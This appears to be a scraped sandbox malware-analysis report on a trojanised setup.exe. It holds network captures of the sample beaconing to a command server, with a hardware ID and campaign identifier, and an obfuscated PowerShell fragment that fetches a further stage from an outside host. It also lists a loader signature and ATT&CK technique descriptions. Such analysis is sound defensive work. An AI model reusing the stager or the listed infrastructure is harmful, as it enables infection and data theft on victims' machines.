2025-01-05 17:43:34 UTC	4631	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 Data Ascii: +?2+?2+?o?Mp5p_
2025-01-05 17:43:34 UTC	1139	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:43:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=59ibhddjt1veppea5sij3cfmgo; expires=Thu, 01 May 2025 11:30:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bosj%2BukvrXgyT%2B966DTo1WTBx%2BVVQe0ccv2O5hruZQ4yHB%2B5%2FACBbdYrQO%2FVRC3fKOwkDFbodvITWUvJAViulMrLGcdlza3KZfbXN2OwwhZazNodVzWbr2hIVfpDtAuMUhwoDQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd545766a097cac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1798&min_rtt=1786&rtt_var=694&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2843&recv_bytes=20925&delivery_rate=1550716&cwnd=197&unsent_bytes=0&cid=91a9ac308a13c1b8&ts=637&x=0"
2025-01-05 17:43:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 17:43:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49844	172.67.163.221	443	6036	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:43:35 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=25NIHNLIM7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 886 Host: swingybeattyz.sbs
2025-01-05 17:43:35 UTC	886	OUT	Data Raw: 2d 2d 32 35 4e 49 48 4e 4c 49 4d 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 32 44 43 44 45 30 44 46 31 42 31 36 43 42 45 32 31 32 43 43 34 42 33 32 41 33 45 36 44 43 0d 0a 2d 2d 32 35 4e 49 48 4e 4c 49 4d 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 35 4e 49 48 4e 4c 49 4d 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 41 4c 46 41 0d 0a 2d 2d 32 35 4e 49 48 4e 4c 49 4d 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --25NIHNLIM7Content-Disposition: form-data; name="hwid"B72DCDE0DF1B16CBE212CC4B32A3E6DC--25NIHNLIM7Content-Disposition: form-data; name="pid"1--25NIHNLIM7Content-Disposition: form-data; name="lid"hRjzG3--ALFA--25NIHNLIM7Content-D
2025-01-05 17:43:36 UTC	1132	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:43:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vftiq3nufst6d98iih5n20ti4e; expires=Thu, 01 May 2025 11:30:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F51ZEZq2ukrEtjxt0DJDEE7UGrXIGNiQPsGrC%2FzlQHRoDDCYJVb15PvgAUZMpKwh%2B4LpjM8A9690A12TCtLaA00F6dt3%2FWOQZZbq6nGESoSuTdFs4ka5BlPzNhR56Pe6cbr1JA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd5457feeb47ce7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1800&min_rtt=1795&rtt_var=685&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1795&delivery_rate=1585233&cwnd=199&unsent_bytes=0&cid=81efbe108cde58aa&ts=542&x=0"
2025-01-05 17:43:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 17:43:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49851	172.67.163.221	443	6036	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:43:36 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WVS3PWFE6P0ELWUT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1090 Host: swingybeattyz.sbs
2025-01-05 17:43:36 UTC	1090	OUT	Data Raw: 2d 2d 57 56 53 33 50 57 46 45 36 50 30 45 4c 57 55 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 32 44 43 44 45 30 44 46 31 42 31 36 43 42 45 32 31 32 43 43 34 42 33 32 41 33 45 36 44 43 0d 0a 2d 2d 57 56 53 33 50 57 46 45 36 50 30 45 4c 57 55 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 57 56 53 33 50 57 46 45 36 50 30 45 4c 57 55 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 41 4c 46 41 0d 0a 2d 2d 57 56 53 Data Ascii: --WVS3PWFE6P0ELWUTContent-Disposition: form-data; name="hwid"B72DCDE0DF1B16CBE212CC4B32A3E6DC--WVS3PWFE6P0ELWUTContent-Disposition: form-data; name="pid"1--WVS3PWFE6P0ELWUTContent-Disposition: form-data; name="lid"hRjzG3--ALFA--WVS
2025-01-05 17:43:37 UTC	1138	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:43:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u7qb0989o6m9umqcp4unv5i3do; expires=Thu, 01 May 2025 11:30:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v3BQw3hkGk3%2FeutlsHCLhtER8Cx0WMVUvg%2BmqVk07pSkeJDU1SNdkDmmK8IUGrjbmjH8b4Crd%2BqKRO%2F2p%2FSWmcB1Fjcwg3Msr%2FP6mBdKbgougOVXxFAjdF%2BiU1pb7oDDMWkAOQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd54586286f72a4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1799&min_rtt=1795&rtt_var=682&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2006&delivery_rate=1593886&cwnd=212&unsent_bytes=0&cid=2d10538d3edca973&ts=707&x=0"
2025-01-05 17:43:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-05 17:43:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49861	172.67.163.221	443	6036	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:43:37 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 113 Host: swingybeattyz.sbs
2025-01-05 17:43:37 UTC	113	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 41 4c 46 41 26 6a 3d 65 66 64 65 62 64 65 30 35 37 61 31 64 66 33 66 37 63 31 35 62 37 66 34 64 61 39 30 37 63 32 64 26 68 77 69 64 3d 42 37 32 44 43 44 45 30 44 46 31 42 31 36 43 42 45 32 31 32 43 43 34 42 33 32 41 33 45 36 44 43 Data Ascii: act=get_message&ver=4.0&lid=hRjzG3--ALFA&j=efdebde057a1df3f7c15b7f4da907c2d&hwid=B72DCDE0DF1B16CBE212CC4B32A3E6DC
2025-01-05 17:43:38 UTC	1130	IN	HTTP/1.1 200 OK Date: Sun, 05 Jan 2025 17:43:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ij0804gmiphsjjkg5a7ct0g7ne; expires=Thu, 01 May 2025 11:30:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xLY9k2JR8uqCeqKFwfgqnirCBOi5kvnjgLr9ENaUoHrbLMOKwHTXGMFoqz1vx3xuA6weqHGe7IpQ8TOvT9QRCh%2BBfw%2FsXz1jwLo0lmu%2F4iNirp8IorKYfkVi3rEgOJUyhJzhmw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd5458e1f92427c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2144&min_rtt=2136&rtt_var=818&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1015&delivery_rate=1323662&cwnd=246&unsent_bytes=0&cid=85e0c90425f907a0&ts=505&x=0"
2025-01-05 17:43:38 UTC	218	IN	Data Raw: 64 34 0d 0a 4f 37 57 52 76 73 48 63 69 5a 45 64 7a 66 4c 42 61 6f 6d 48 2b 67 74 79 4b 41 44 57 47 32 56 79 64 59 31 57 5a 62 65 33 51 70 52 67 7a 72 50 4c 34 2b 61 72 2b 57 6d 35 67 72 4a 51 31 61 69 6d 4a 42 46 4e 5a 36 4d 31 46 68 6f 61 2f 51 70 4b 6a 34 4a 31 6f 41 6d 44 6f 34 72 31 36 74 57 2b 62 61 58 63 74 52 4c 39 70 64 59 70 46 46 77 69 37 43 6c 4a 55 42 43 76 62 46 54 4b 6d 7a 6d 32 54 70 65 72 6e 4b 6d 6f 2f 65 46 75 39 36 37 75 4e 71 62 73 6c 6d 49 43 58 6e 57 37 63 68 59 48 48 4b 4d 6c 44 64 6a 48 48 72 74 53 32 2b 58 68 6f 72 44 35 7a 6d 36 6c 6b 2b 38 65 38 66 50 59 4a 31 42 4f 64 50 51 68 56 56 35 58 36 48 52 66 68 38 6f 66 0d 0a Data Ascii: d4O7WRvsHciZEdzfLBaomH+gtyKADWG2VydY1WZbe3QpRgzrPL4+ar+Wm5grJQ1aimJBFNZ6M1Fhoa/QpKj4J1oAmDo4r16tW+baXctRL9pdYpFFwi7ClJUBCvbFTKmzm2TpernKmo/eFu967uNqbslmICXnW7chYHHKMlDdjHHrtS2+XhorD5zm6lk+8e8fPYJ1BOdPQhVV5X6HRfh8of
2025-01-05 17:43:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49867	185.161.251.21	443	6036	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 17:43:39 UTC	201	OUT	GET /8574262446/ph.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: cegu.shop
2025-01-05 17:43:39 UTC	249	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Sun, 05 Jan 2025 17:43:39 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 329 Last-Modified: Thu, 26 Dec 2024 00:07:06 GMT Connection: close ETag: "676c9e2a-149" Accept-Ranges: bytes
2025-01-05 17:43:39 UTC	329	IN	Data Raw: 5b 4e 65 74 2e 73 65 72 76 69 63 65 70 4f 49 4e 54 6d 41 4e 61 47 65 72 5d 3a 3a 53 45 63 55 52 69 54 79 50 72 4f 74 6f 43 4f 6c 20 3d 20 5b 4e 65 74 2e 53 65 63 55 72 69 54 79 70 72 4f 74 6f 63 6f 6c 74 59 50 65 5d 3a 3a 74 4c 73 31 32 3b 20 24 67 44 3d 27 68 74 74 70 73 3a 2f 2f 64 66 67 68 2e 6f 6e 6c 69 6e 65 2f 69 6e 76 6f 6b 65 72 2e 70 68 70 3f 63 6f 6d 70 4e 61 6d 65 3d 27 2b 24 65 6e 76 3a 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3b 20 24 70 54 53 72 20 3d 20 69 57 72 20 2d 75 52 69 20 24 67 44 20 2d 75 53 65 62 41 53 49 63 70 41 52 73 69 4e 67 20 2d 55 73 45 72 41 47 65 6e 74 20 27 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 37 2e Data Ascii: [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.

Target ID:	0
Start time:	12:43:08
Start date:	05/01/2025
Path:	C:\Users\user\Desktop\setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\setup.exe"
Imagebase:	0xc70000
File size:	75'164'374 bytes
MD5 hash:	6DA280FB9C2DA7913E9C801B4DE02F47
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.4583566559.0000000002EB0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Function 01335EB8 Relevance: 2.0, Strings: 1, Instructions: 789COMMON

Download Yara Rule

Strings

i, xrefs: 01336147

Memory Dump Source

Source File: 00000000.00000003.2630094687.0000000001323000.00000004.00000020.00020000.00000000.sdmp, Offset: 01323000, based on PE: false

Associated: 00000000.00000003.2413052550.0000000001323000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1323000_setup.jbxd

Similarity

API ID:
String ID: i
API String ID: 0-3865851505
Opcode ID: e28c857e8780078d9b77c695e0a2db9c6d0dfa267b756b6ee9e52eff5c33fbab
Instruction ID: 845785ee7fe38e8d7bcc1730c5d27d96059415237384e8111c139643da410a74
Opcode Fuzzy Hash: e28c857e8780078d9b77c695e0a2db9c6d0dfa267b756b6ee9e52eff5c33fbab
Instruction Fuzzy Hash: A3918B2600E3C49FC717CF75CA569867FB8EF03318B2941DAD4818F573C2656909EBA6

Function 0138E75C Relevance: .7, Instructions: 659COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2413012877.0000000001376000.00000004.00000020.00020000.00000000.sdmp, Offset: 01376000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1378000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c77c4429900a6a8123fa2ce2a882e00af7a36cb2485d6179c3e0c4f97fecde8
Instruction ID: 774353f44b335291f7b9c9db9740575e72ca8f0efbf31fc0dcdda17dfaf376f3
Opcode Fuzzy Hash: 7c77c4429900a6a8123fa2ce2a882e00af7a36cb2485d6179c3e0c4f97fecde8
Instruction Fuzzy Hash: 7A021E5151E7C22FD76397748C7A492BF706E0322431E86DFC4C48F8A3D698986AE763

Function 0138E75C Relevance: .7, Instructions: 659COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2413012877.0000000001376000.00000004.00000020.00020000.00000000.sdmp, Offset: 01378000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1378000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c77c4429900a6a8123fa2ce2a882e00af7a36cb2485d6179c3e0c4f97fecde8
Instruction ID: 774353f44b335291f7b9c9db9740575e72ca8f0efbf31fc0dcdda17dfaf376f3
Opcode Fuzzy Hash: 7c77c4429900a6a8123fa2ce2a882e00af7a36cb2485d6179c3e0c4f97fecde8
Instruction Fuzzy Hash: 7A021E5151E7C22FD76397748C7A492BF706E0322431E86DFC4C48F8A3D698986AE763

Function 0137A0F5 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2413012877.0000000001376000.00000004.00000020.00020000.00000000.sdmp, Offset: 01376000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1378000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a56f233d1bb2d7f02037c06f24a41b0dc23ef598a3efab7da8cef77c0837bbb0
Instruction ID: ffc9c18da9c634e9fcefcc8dd342fb74b039e657e2f4773c86ea292b0dc880c3
Opcode Fuzzy Hash: a56f233d1bb2d7f02037c06f24a41b0dc23ef598a3efab7da8cef77c0837bbb0
Instruction Fuzzy Hash: C1C0484000EBD08EC30227288A25F902FB0AF432C1F0B41E3C9889F0B3D2140618C362

Function 0137A0F5 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2413012877.0000000001376000.00000004.00000020.00020000.00000000.sdmp, Offset: 01378000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1378000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a56f233d1bb2d7f02037c06f24a41b0dc23ef598a3efab7da8cef77c0837bbb0
Instruction ID: ffc9c18da9c634e9fcefcc8dd342fb74b039e657e2f4773c86ea292b0dc880c3
Opcode Fuzzy Hash: a56f233d1bb2d7f02037c06f24a41b0dc23ef598a3efab7da8cef77c0837bbb0
Instruction Fuzzy Hash: C1C0484000EBD08EC30227288A25F902FB0AF432C1F0B41E3C9889F0B3D2140618C362

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

